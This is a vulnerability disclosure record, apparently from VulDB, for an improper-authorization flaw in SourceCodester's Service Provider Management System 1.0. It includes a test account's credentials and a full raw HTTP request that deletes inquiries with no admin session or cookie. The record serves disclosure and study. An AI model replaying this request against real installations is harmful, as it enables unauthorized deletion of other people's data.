| Title | Service Provider Management System Unauthorized Access |
|---|
| Description |
Service Provider Management System is a content mangement system implemented by PHP and MySQL.
The system exists an unauthorized vulnerability.
For business logic , the admin page should not be accessed by users who's role are not admin,but the inquiries route could be accessed by every one , even doesn't exists cookie in request
test account is 123456,password is 123456,rule is staff.
http://cdn.polowong.top/image-20230427201723917.png
Staff role should not have access right to inquiries route,but the staff can access view the contents , even delete the inquiries without cookie!
http://cdn.polowong.top/image-20230427201759280.png
http://cdn.polowong.top/image-20230427202201900.png
After deleted Cookie , send the request, the inquiries still be deleted
http://cdn.polowong.top/image-20230427202241488.png
http://cdn.polowong.top/image-20230427202259592.png
return to website , we can not find the inquiry.
http://cdn.polowong.top/image-20230427202326805.png
The whole packet as shown below:
```
POST /classes/Master.php?f=delete_inquiry HTTP/1.1
Host: test1.io
Content-Length: 4
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test1.io
Referer: http://test1.io/admin/?page=inquiries
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Connection: close
id=1
```
source code download link:
https://www.sourcecodester.com/download-code?nid=16501&title=Service+Provider+Management+System+using+PHP+and+MySQL+Source+Code+Free+Download |
|---|
| Source | ⚠️ https://www.sourcecodester.com/php/16501/service-provider-management-system-using-php-and-mysql-source-code-free-download.html |
|---|
| User | polowong (UID 45828) |
|---|
| Submission | 04/27/2023 14:29 (3 years ago) |
|---|
| Moderation | 04/27/2023 15:38 (1 hour later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 227588 [SourceCodester Service Provider Management System 1.0 Master.php?f=delete_inquiry improper authorization] |
|---|
| Points | 20 |
|---|